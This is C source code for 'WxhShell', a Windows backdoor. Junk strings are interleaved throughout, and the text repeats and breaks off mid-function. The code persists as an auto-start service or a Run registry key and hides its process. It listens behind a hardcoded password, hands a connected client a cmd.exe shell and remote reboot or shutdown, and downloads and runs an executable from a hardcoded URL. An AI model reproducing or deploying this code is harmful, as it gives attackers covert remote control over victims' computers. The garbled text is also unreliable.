qOV g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j_j~BXhIS g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5)AMl) NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?qO_t;:0> a>ZV'~zTf if (!NtQueryInformationProcess) return 0; */u_RJ oDrfzm|[Y hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;mjk`6p if(!hProcess) return 0; eYOwdTrq {M )Y6\v if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ToTehVw @_J~zo CloseHandle(hProcess); >DP9S@W v1oq[+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p$`71w)'[ if(hProcess==NULL) return 0; Rr{mD#+
%-/[.DYt HMODULE hMod; m6a`Ok P char procName[255]; .hzzoLI2 unsigned long cbNeeded; |a*VoMZ Pv|g.hH9m if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &CpxD."8x FAX|.!US*p CloseHandle(hProcess); - 0R5g3^*/ NjrF":'Y if(strstr(procName,"services")) return 1; // 以服务启动 m9 o{y6_j* p.A_,iE return 0; // 注册表启动 a\pOgIp } I8TqK |r>+\" X // 主模块 q^; SZ^yW5 int StartWxhshell(LPSTR lpCmdLine) z$4g9 { }E0~' SOCKET wsl; }Go?j#
! BOOL val=TRUE; =(2y$,6g? int port=0; RtO3!dGT. struct sockaddr_in door; [
R b
5<&hN4g if(wscfg.ws_autoins) Install(); 8eq*q l25_J.e port=atoi(lpCmdLine);
kw{dvE\K 1y'8bt~7Pf if(port<=0) port=wscfg.ws_port; C~-x637/ q!iTDg*$ WSADATA data; js;p7wi if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [U]^:sV) Heh.CD)Q if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; w"ZngrwBl setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ndg1E;> door.sin_family = AF_INET; DcYL8u door.sin_addr.s_addr = inet_addr("127.0.0.1"); E)sC:oO door.sin_port = htons(port); {*mf Is Pt5"q3ec{T if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W>TG!R 5 closesocket(wsl); jV{?.0/h| return 1; IUf&*'_ } ]Q0m]OaT TWE>"8] if(listen(wsl,2) == INVALID_SOCKET) { 'F2g2W` closesocket(wsl); YYNh|
2 return 1; @=_4i&]$ } Db4(E*/pj! Wxhshell(wsl); &s6;2G&L$ WSACleanup(); +FomAs1*f `]~1pc return 0; dCA| ) f/xQy}4+~E } (A(j.[4a FEY_(70 // 以NT服务方式启动 \-Vja{J] VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ncGt-l<9 { H4B|c42 DWORD status = 0; (aC~0
#4 DWORD specificError = 0xfffffff; { 9:vq| izDfpr}s4 serviceStatus.dwServiceType = SERVICE_WIN32; *kYJwO^ serviceStatus.dwCurrentState = SERVICE_START_PENDING; 8k{KnH serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZLDO&} serviceStatus.dwWin32ExitCode = 0; kB`
@M>[ serviceStatus.dwServiceSpecificExitCode = 0; jOUM+QO serviceStatus.dwCheckPoint = 0; MO^Q 8v serviceStatus.dwWaitHint = 0; =jEVHIYt CdZ. T/x hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CCHGd&\Z if (hServiceStatusHandle==0) return; V15/~ LZtO Q__B) status = GetLastError(); &|-jU+r}B if (status!=NO_ERROR) C'~Eq3 { {x,d9I serviceStatus.dwCurrentState = SERVICE_STOPPED; d\ I6Wn serviceStatus.dwCheckPoint = 0; |.*nq serviceStatus.dwWaitHint = 0; .oS[ DTn5S serviceStatus.dwWin32ExitCode = status; &w!(.uDO serviceStatus.dwServiceSpecificExitCode = specificError; 8]K+,0m6 SetServiceStatus(hServiceStatusHandle, &serviceStatus); )%q!XM return; Tw,|ZA4XH } 6E@TcN~,! |A.nP9 hW serviceStatus.dwCurrentState = SERVICE_RUNNING; j/t)=c serviceStatus.dwCheckPoint = 0; T mK[^ serviceStatus.dwWaitHint = 0; K
0e*K=UM if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |.KB } ).)^\ CJjT-(a // 处理NT服务事件,比如:启动、停止 A^c
( VOID WINAPI NTServiceHandler(DWORD fdwControl) 8-_atL { .],:pL9d switch(fdwControl) >*MGF=.QG { J#IVu?B case SERVICE_CONTROL_STOP: s
!IvUc7' serviceStatus.dwWin32ExitCode = 0; 00B,1Q HP serviceStatus.dwCurrentState = SERVICE_STOPPED; ,|g&v/WlC% serviceStatus.dwCheckPoint = 0; X2|&\G9c
serviceStatus.dwWaitHint = 0; `_()|; !y { G#Kw6 SetServiceStatus(hServiceStatusHandle, &serviceStatus); {%_D>y } j#~ S"t return; Yl&bv#[z case SERVICE_CONTROL_PAUSE: 6u'E}hAx| serviceStatus.dwCurrentState = SERVICE_PAUSED; Quwq_.DU break; ;qO3m-(d case SERVICE_CONTROL_CONTINUE: bE,#, serviceStatus.dwCurrentState = SERVICE_RUNNING; :N!s@6 break; .,sbqL case SERVICE_CONTROL_INTERROGATE: O5MV&Zb( break; "574%\#4z }; 0Bt>JbGs4 SetServiceStatus(hServiceStatusHandle, &serviceStatus); eiCmd
=O7 } $O&N
9?q ^yy // 标准应用程序主函数 nA(5p?D+YB int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y <`X$ { ~g9~D}48k' 4k9$'
k // 获取操作系统版本 p"7]zq]' OsIsNt=GetOsVer(); O=vD6@QI GetModuleFileName(NULL,ExeFile,MAX_PATH); 6i;q=N$' t7yvd7 // 从命令行安装 Py?e+[cN if(strpbrk(lpCmdLine,"iI")) Install(); |{ =Jp<}s I s|_ // 下载执行文件 ~ z^49Ys: if(wscfg.ws_downexe) { ;?q-]J? if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j115:f WinExec(wscfg.ws_filenam,SW_HIDE); ]Q,&7D
Ah } w`EC6ZN GTi=VSGqF if(!OsIsNt) { n{\d // 如果时win9x,隐藏进程并且设置为注册表启动 Hh%"
HideProc(); '0^lMQMg StartWxhshell(lpCmdLine); Z`f?7/"B } 'pyIMB?x else uaYI3w@^ if(StartFromService()) F >H\F@Wl // 以服务方式启动 Wv%F^(R7 StartServiceCtrlDispatcher(DispatchTable); DQ}&J else o=RxQk1N // 普通方式启动 TV|Z$,6l StartWxhshell(lpCmdLine); \?wKs yRi5t{!V return 0; mo9(2@~< } $> ;| s1R#X~d 39m8iI%w[
vTo+jQs^ =========================================== bxPJ5oT A>,kmU5 3kh!dL3D WL|71?@C :`K2?;DC8 NiEz3ODSi " Xq_hC"s 2s=zT5 #include <stdio.h> GDs/U1[* #include <string.h> r"7PSJ #include <windows.h> tJ*/5k
& #include <winsock2.h> zJh!Q** #include <winsvc.h> P)LQ=b}V#; #include <urlmon.h> f'MRC
\ m;nH
v #pragma comment (lib, "Ws2_32.lib") ^Y!$WP #pragma comment (lib, "urlmon.lib") ;1s;" c}!`tBTm #define MAX_USER 100 // 最大客户端连接数 bl^pMt1fv #define BUF_SOCK 200 // sock buffer Unansk #define KEY_BUFF 255 // 输入 buffer z:N?T0b( aK(e%Ed t" #define REBOOT 0 // 重启 9':Hh' #define SHUTDOWN 1 // 关机 ]k BC,m( xOr"3;^ #define DEF_PORT 5000 // 监听端口 ny!80I Dw 5Ze #define REG_LEN 16 // 注册表键长度 cp"{W-Q{$ #define SVC_LEN 80 // NT服务名长度 )iVuac]E++ Z%b1B<u$ // 从dll定义API D+N@l"U{ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;\f0II3 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4#t=%} typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R&:Qy7" typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8M,z#DF a2]>R<M // wxhshell配置信息 !HtW~8|: struct WSCFG { J9f]=1` int ws_port; // 监听端口 aI|X~b char ws_passstr[REG_LEN]; // 口令 KU Mk:5
c int ws_autoins; // 安装标记, 1=yes 0=no M$Rh]3vqR char ws_regname[REG_LEN]; // 注册表键名 L^PBcfg char ws_svcname[REG_LEN]; // 服务名 a1ps'^Qhh char ws_svcdisp[SVC_LEN]; // 服务显示名 6OJhF7\0& char ws_svcdesc[SVC_LEN]; // 服务描述信息 XWX]/j2jA char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DwK$c^2q{. int ws_downexe; // 下载执行标记, 1=yes 0=no B/mfm 7 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D(Q]ddUi' char ws_filenam[SVC_LEN]; // 下载后保存的文件名 naA8RD5/ 56u_viZ=8 }; ~9,Fc6w4`+ sHV?njZd // default Wxhshell configuration loHMQKy@ struct WSCFG wscfg={DEF_PORT, \4
+HNy3 "xuhuanlingzhe", `,Y3(=3Xe? 1, <u1`o`|- "Wxhshell", iSfRo31 "Wxhshell", meXwmO "WxhShell Service", %sPq*w. "Wrsky Windows CmdShell Service",
YN7OQqa "Please Input Your Password: ", yn20*ix{ 1, ($8!r|g5# "http://www.wrsky.com/wxhshell.exe", yMmUOIxk\ "Wxhshell.exe" k'sPA_| }; c+O:n:L 2T@?&N^OD // 消息定义模块 9+8N-LZ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W59 xe&l char *msg_ws_prompt="\n\r? for help\n\r#>"; \.GA"_y char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fP8bWZ{ char *msg_ws_ext="\n\rExit."; a]6dhQ` char *msg_ws_end="\n\rQuit."; !CY*SGO char *msg_ws_boot="\n\rReboot..."; 8o).q}>& char *msg_ws_poff="\n\rShutdown..."; F}@]Lq+ char *msg_ws_down="\n\rSave to "; H|MAbx
7 }I#_H char *msg_ws_err="\n\rErr!"; zyt >(A1 char *msg_ws_ok="\n\rOK!"; 7<K=G2_: LWN9 D char ExeFile[MAX_PATH]; xJFcW+ int nUser = 0; Id>I.e4 HANDLE handles[MAX_USER]; /1bQ
RI^\ int OsIsNt; )t:8;;W@Ir :2XX~| SERVICE_STATUS serviceStatus; g&8-X?^Q SERVICE_STATUS_HANDLE hServiceStatusHandle; q]s_ hWWv Sogt?]HB$ // 函数声明 Bo'v!bI7 int Install(void); Im]6-#(9\| int Uninstall(void); EN8xn9M? int DownloadFile(char *sURL, SOCKET wsh); fhC| =0XB int Boot(int flag); "x0KiIoPk void HideProc(void); zH#urF6< int GetOsVer(void); /*GCuc| int Wxhshell(SOCKET wsl); m9-=Y{&/ void TalkWithClient(void *cs); SO<9?uk. int CmdShell(SOCKET sock); dOKe}?}== int StartFromService(void); ,e
GF~ int StartWxhshell(LPSTR lpCmdLine); PR,8c YlR9
1LX VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7mtg VOID WINAPI NTServiceHandler( DWORD fdwControl ); hZ"Sqm] NK:! U // 数据结构和表定义 Yn0iu$;n SERVICE_TABLE_ENTRY DispatchTable[] = L@ejFXQg { ),^pi? {wscfg.ws_svcname, NTServiceMain}, #%V+- b( {NULL, NULL} lnF{5zc }; \BO6.;jA |.-Muv // 自我安装 -MFePpUt int Install(void) p\.IP2+c { *>xCX char svExeFile[MAX_PATH]; 1jaK N* HKEY key; Dt iM}=: strcpy(svExeFile,ExeFile); 6)>otB8)J }02(Y!Gh // 如果是win9x系统,修改注册表设为自启动 P>03 DkbB if(!OsIsNt) { x@[6u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k~,
k@mR RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,ne3uPRu7~ RegCloseKey(key); O%px>rdkY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ud"Kko Rt RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *M$'dLn RegCloseKey(key);
MT$)A:" return 0; 8Dn~U:F/? } wzBw5nf\ } py'xBi6}v } )t CNp else { g${k8.TV L^bX[.uZw // 如果是NT以上系统,安装为系统服务 k+Z2)j" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Lu5X~6j"$ if (schSCManager!=0) o/oLL w { % iZM9Q&NC SC_HANDLE schService = CreateService : LT'#Q8 ( TOG:N~ schSCManager, !0F+qzGG7 wscfg.ws_svcname, G^eXJusOv wscfg.ws_svcdisp, KKWvV4u SERVICE_ALL_ACCESS, EBr?>hl SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;V?d;O4u SERVICE_AUTO_START, pbw{EzM SERVICE_ERROR_NORMAL, {-%8RSK=< svExeFile, z%\&n0 NULL, ?/myG{E NULL, 8pZ Ogh
NULL, bR8`Y(=F9b NULL, NOKU2d4 G NULL yqB!0)
< ); H8 xhE~'t if (schService!=0) 0sTR`Xk { qdxaP% p2 CloseServiceHandle(schService); 2u+!7D!w$ CloseServiceHandle(schSCManager); Wrh$`JC strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?0?3yD-!9 strcat(svExeFile,wscfg.ws_svcname); [1 O{yPV3s if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X;
6=WqJj RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dP`B9>r RegCloseKey(key); B&6lG!K'? return 0; uL^`uI#I } 7!\zo mx } |=MhI5gsx CloseServiceHandle(schSCManager); vo%"(! } IDL0!cF } ml /S|`Drk Yy6$q\@rV return 1; ?Ygd|a5 }
Lw%_xRn) [^^ Pl:+ // 自我卸载 vu#ZLq int Uninstall(void) +w"?q'SnF { oYt 34@{? HKEY key; C\B4Uu6q 1 vtC4` if(!OsIsNt) { 8m=O408Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OmS8cSYGc RegDeleteValue(key,wscfg.ws_regname); ncUS8z RegCloseKey(key); GR4DxlX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZY@ntV? RegDeleteValue(key,wscfg.ws_regname); P(/eVD#v RegCloseKey(key); J0oeCb return 0; +-,iC6kK } Vjw u:M } JbQY{z! } x*=1C,C else { * ^V?u $L?KNXHAF! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E+#<WK- if (schSCManager!=0) k%Vprc { SD<a#S\o SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i'4.w?O Z if (schService!=0) R<(xWH { 4 Tw~4b if(DeleteService(schService)!=0) { >[;=c0( CloseServiceHandle(schService); $*T?}r> CloseServiceHandle(schSCManager); >P&1or)e% return 0; 1@Ju sS0^K } $EX(-!c CloseServiceHandle(schService); _(I6o } =I@I CloseServiceHandle(schSCManager); 0U H] } \4^rb?B } (<8}un c?u*,d) G return 1; RS
l*u[fB } M.r7^9 P B?- poB& // 从指定url下载文件 ^$sqU int DownloadFile(char *sURL, SOCKET wsh) 6bLn8UT {
qLP/z HRESULT hr; k~ByICE char seps[]= "/"; /zoy,t-i char *token; ??U/Qi180 char *file; cD}]4 char myURL[MAX_PATH]; RjVmHhX char myFILE[MAX_PATH]; |_>^vW1f q=V'pML strcpy(myURL,sURL); x!\q69nd v token=strtok(myURL,seps); Q2uV/M1? while(token!=NULL) 5j6`W?|q { ~!!|#A)W file=token; |ns?c0rM token=strtok(NULL,seps); )>S,#_e*b } %W)pZN} $(Mz@#% GetCurrentDirectory(MAX_PATH,myFILE); 7.6L1srV strcat(myFILE, "\\"); ?s3S$Ih strcat(myFILE, file); (Bd'Pj]: send(wsh,myFILE,strlen(myFILE),0); K +3=gBU*w send(wsh,"...",3,0); Dfa3#{ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?%}!_F`h% if(hr==S_OK) #/f~LTE return 0; _#s,$K# else VqpC@C$ return 1; )1KyUQ\e qq]Iy= } X<P
<-e9 x|(pmqIH+ // 系统电源模块 \ "$$c int Boot(int flag) )<:TpMdUk { .\glNH1d HANDLE hToken; T9H*]LxK TOKEN_PRIVILEGES tkp; L/V^ #$
});Rjg if(OsIsNt) { 7-!n- OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DQm%=ON7 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E3]WRF;l tkp.PrivilegeCount = 1; So'.QWzX tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =4a:)g' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +8T^q, if(flag==REBOOT) { v|o{AL:ei if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~~Ezt*lH return 0; yi>AogQ, } .
yg# else { f$ xp74hw3 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d6YXITL)\> return 0; ACdPF_Y] } h%Nd89// } ,7]hjf_h else { A>1$?A8Q if(flag==REBOOT) { O9(z"c if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I}3F'}JV< return 0; g}xL7bTlI> } Oo}h:3? else { pB8D if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y}N\|*ye- return 0; "4)N]Nj } "+-
'o+ } K+F"V W*? _!@:@e)yB{ return 1; czuIs|_K* } [eDrjf3m MMs~f* // win9x进程隐藏模块 .4)oZ void HideProc(void) !S#3mT- { 4JAz{aw'b . : Wf>: HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
j)?M if ( hKernel != NULL ) V0>X2&.A { >8>!wi9U pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); iM)K:L7d ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :_~.Nt FreeLibrary(hKernel); QLWnP- } gHrs|6q9 ^H3N1eC,`F return; cMXv } qTr P@F4`g Q=`yPK>{$N // 获取操作系统版本 ;7QXs39S int GetOsVer(void) Mh.1KI[t { :ZV|8xI OSVERSIONINFO winfo; ERpAV-Zf winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Zj2 si GetVersionEx(&winfo); t]$n~! if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
usB*Wn8 return 1; h*k V@Dc else oS fr5
i return 0; c\{N:S> } `
kT\V' *c$[U{Px // 客户端句柄模块 EfrQ~`\ int Wxhshell(SOCKET wsl)
,Vhve'=*2 { N3n] SOCKET wsh; OlOOg struct sockaddr_in client; i/x |c!E DWORD myID; )4L2&e`k)( ^ `y7JXI: while(nUser<MAX_USER) CUu
Owx6% { 4XjwU` int nSize=sizeof(client); wtTy(j,9 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .h-mFcjy if(wsh==INVALID_SOCKET) return 1; d m8t~38 iBSM
\ n handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); im2mA8OH if(handles[nUser]==0) #'_#t/u closesocket(wsh); V]F D'XAl else '[
t. nUser++; ,a?)O6?/ } gjDNl/r/
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); MA`nFkVK k83K2>] return 0; HAxLYun(3w } mr\,"S-` (p-q>@m // 关闭 socket Kjd3!%4mB void CloseIt(SOCKET wsh) Qr$'Q7 { MXaFqK<Y closesocket(wsh); fEHFlgN3Ap nUser--; &B{zS K$N ExitThread(0); Qn*l,Z]US } -V/y~/]J ^k=<+*9 // 客户端请求句柄 I2[Z0G@&= void TalkWithClient(void *cs) <=M5)# { 3 7BSJ P0l
fK} SOCKET wsh=(SOCKET)cs; 5n3yc7NPP char pwd[SVC_LEN]; \f9WpAY char cmd[KEY_BUFF]; gk%nF char chr[1]; dk|LC-]`A int i,j; 72dRp!JU z
&EDW5I while (nUser < MAX_USER) { &=g3J4$z :#YC_
id if(wscfg.ws_passstr) { {rc3`<% if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *D?=Ts //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hIe .Mv-I) //ZeroMemory(pwd,KEY_BUFF); .-Lrrk)R+ i=0; >v+1v while(i<SVC_LEN) { a
!VWWUTm? 0/R;g~q@ // 设置超时 f .O^R~, fd_set FdRead; Kb%Y%j struct timeval TimeOut; =XR~I FD_ZERO(&FdRead); MB)<@.A0 FD_SET(wsh,&FdRead); LYDiqOrx TimeOut.tv_sec=8; 4 Ej->T. TimeOut.tv_usec=0; TKB8%/_p int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n
_K1% if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d{S'6*`D c4fH/- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cp`Jep<T pwd=chr[0]; $${I[2R) if(chr[0]==0xd || chr[0]==0xa) { dc)%5fV\ pwd=0; 7{m>W! break; 3``JrkPI } 5#.m'a) i++; Jt8;ddz } wA5Iz{uQO w-K A~ // 如果是非法用户,关闭 socket $JY\q2 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); OJ&'Z}LB } w;O-ATUzN cGlN*GJ*H send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +#Pb@^6"m send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ##jJaSxG k{ qxsNM while(1) { ,Cr%2Wg- &>jz[3 ZeroMemory(cmd,KEY_BUFF); Q!l(2nva Y$JVxly // 自动支持客户端 telnet标准 8_%GH}{ j=0; AG,><UP while(j<KEY_BUFF) { F$t]JM if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k4q":}M cmd[j]=chr[0]; @[r[l#4yUi if(chr[0]==0xa || chr[0]==0xd) { \!^=~` X- cmd[j]=0; apL$`{>US break; aO1^>hy } =Y2 Rht j++; 4/(#masIL } eo]nkyYDP A%D'Z85
- // 下载文件 !aT:0m$:9c if(strstr(cmd,"http://")) { "@G[:(BoB< send(wsh,msg_ws_down,strlen(msg_ws_down),0); {)qr3-EM# if(DownloadFile(cmd,wsh)) 2y`h'z send(wsh,msg_ws_err,strlen(msg_ws_err),0); IWo'{pk else ^%f8JoB send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'h$1
z$X5 } T1Py6Q,- else { (_pw\zk> c6:uM1V{ switch(cmd[0]) { fG0ZVV! }c8nn // 帮助 Vlx.C~WYn case '?': { }TTghE! send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <+*0{8?0
break; y(|#!m?@ } 3q%z // 安装 =`+D/
W\[Y case 'i': { yr%[IX]R if(Install()) .)/."V send(wsh,msg_ws_err,strlen(msg_ws_err),0); m7k }k) else dXTD8 )& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )c11_1; break; daSe0:daJ } %Y~"Stmx // 卸载 7T/BzXr,B case 'r': { \c\~k0u if(Uninstall()) iy~h|YK; send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'w,gYW else KS*,'hvY send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5t%8y!s break; Fip
5vrD } ^SpQtW118 // 显示 wxhshell 所在路径 1m5l((d case 'p': { Ey7zb#/<! char svExeFile[MAX_PATH]; O>DS%6/G strcpy(svExeFile,"\n\r"); y]Nk^ga:U6 strcat(svExeFile,ExeFile); =q VT send(wsh,svExeFile,strlen(svExeFile),0); =2$(
tXL break; I(M/X/ } 336ETrG^0 // 重启 T`e`nQ0nn case 'b': { uGZGI;9f4 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |3~m8v2- if(Boot(REBOOT)) RG'iWA,9m` send(wsh,msg_ws_err,strlen(msg_ws_err),0); C+'-TLeu else { %Yu~56c- closesocket(wsh); "6d0j)YO ExitThread(0); 5Y+YN1 } yy3x]%KK break; ;O7"!\ } v*V(hMy // 关机 xn`)I>v case 'd': { n$2oM5< send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); WK$\#>T if(Boot(SHUTDOWN)) 3VLwY!2: send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6,5h4[eF* else { B .y}S closesocket(wsh); 6:(s8e ExitThread(0); o9}\vN0F } {}s/p9F4 break; Al?%[-u } %?[gBf[y // 获取shell c!E{fS P case 's': { *+rfRH]a CmdShell(wsh); A O5&Y.A# closesocket(wsh); |tAkv ExitThread(0); ) p>Cf_[. break; dU9;sx } _&]7 // 退出 yP7b))AW9 case 'x': { M d4Q.8 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?EC\.{ CloseIt(wsh); ;~0q23{+;U break; 1 3]e< ' } deAV:c // 离开 }W^@mi
case 'q': { C`r:jA<LC, send(wsh,msg_ws_end,strlen(msg_ws_end),0); kSV(T'#x closesocket(wsh); _".h( WSACleanup(); {ENd]@N* exit(1); :#g.%& break; fNLO%\G~2 } (nQm9 M( } poAJl;T } (d#&m+
g] 7RDmvWd-'? // 提示信息 H{n:R * if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rQl9SUs } d 0B`5#4 } bit|L7*14 /Pextj< return; E0I/]0 } _]@u)$ $ ,K@xq5 // shell模块句柄 rG?5z" int CmdShell(SOCKET sock) q;#AlquY @ { ;SE*En STARTUPINFO si; qh.F}9o ZeroMemory(&si,sizeof(si)); 'o)Y!VYnJF si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1 ?BLL;[a8 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c1E{J<pZ PROCESS_INFORMATION ProcessInfo; Ub\^3f char cmdline[]="cmd"; w<H2#d>5!@ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w=]A;GgA return 0; [z"E"_r~%Y } ?;o0~][! 4L,wBce;,t // 自身启动模式 - BWf. int StartFromService(void) )Wle
CS_ { R]yce2w" z typedef struct R ?s;L
r { D SX%SE) DWORD ExitStatus; }>M\iPO.]* DWORD PebBaseAddress; ^1~lnD~0 DWORD AffinityMask; b_`h2dUq DWORD BasePriority; r^6@Zwox] ULONG UniqueProcessId; ?#GTD?3d ULONG InheritedFromUniqueProcessId; Y:/p0o } PROCESS_BASIC_INFORMATION; j*>Df2z qv(3qY PROCNTQSIP NtQueryInformationProcess; gHc1_G] ;:Z5Ft m static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iT:i
'\~ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]2l}[
w71| "8%$,rG1& HANDLE hProcess; Zj -#"Gm PROCESS_BASIC_INFORMATION pbi; adu6`2*$ gs!'*U) HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oUn+tu: if(NULL == hInst ) return 0; w2xD1oK~o 5wW5
n5YS g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +%j27~R>D g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,vLQx\m{ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cWo>DuW& Rd HCb k if (!NtQueryInformationProcess) return 0; IuP~Vt{m ?{aC-3VAT hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uDND o if(!hProcess) return 0; Ce-=
- }' tJc $! if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |J4sQ!%K g4k3~,=D3 CloseHandle(hProcess); Y!45Kio Z$INmo6 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JmDxsb^ if(hProcess==NULL) return 0; 7[P-;8)tq "Y^j=?1k HMODULE hMod; Q>Klkd5( char procName[255]; /&|p7 unsigned long cbNeeded; . q
